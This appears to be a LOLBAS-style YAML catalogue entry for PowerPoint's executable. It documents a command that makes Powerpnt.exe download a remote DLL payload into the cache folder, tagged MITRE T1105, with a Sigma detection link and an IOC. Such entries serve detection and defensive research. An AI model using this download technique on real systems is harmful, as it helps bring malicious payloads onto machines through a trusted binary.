--- Name: Powerpnt.exe Description: Microsoft Office binary. Author: 'Reegun J (OCBC Bank)' Created: 2019-07-19 Commands: - Command: Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll" Description: Downloads payload from remote server Usecase: It will download a remote payload and place it in the cache folder Category: Download Privileges: User MitreID: T1105 OperatingSystem: Windows Full_Path: - Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Powerpnt.exe - Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Powerpnt.exe - Path: C:\Program Files (x86)\Microsoft Office\Office16\Powerpnt.exe - Path: C:\Program Files\Microsoft Office\Office16\Powerpnt.exe - Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Powerpnt.exe - Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Powerpnt.exe - Path: C:\Program Files (x86)\Microsoft Office\Office15\Powerpnt.exe - Path: C:\Program Files\Microsoft Office\Office15\Powerpnt.exe - Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Powerpnt.exe - Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Powerpnt.exe - Path: C:\Program Files (x86)\Microsoft Office\Office14\Powerpnt.exe - Path: C:\Program Files\Microsoft Office\Office14\Powerpnt.exe - Path: C:\Program Files (x86)\Microsoft Office\Office12\Powerpnt.exe - Path: C:\Program Files\Microsoft Office\Office12\Powerpnt.exe - Path: C:\Program Files\Microsoft Office\Office12\Powerpnt.exe Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/8bb3379b6807610d61d29db1d76f5af4840b8208/rules/windows/process_creation/proc_creation_win_susp_msoffice.yml - IOC: Suspicious Office application Internet/network traffic Resources: - Link: https://twitter.com/reegun21/status/1150032506504151040 - Link: https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191 Acknowledgement: - Person: Reegun J (OCBC Bank) Handle: '@reegun21'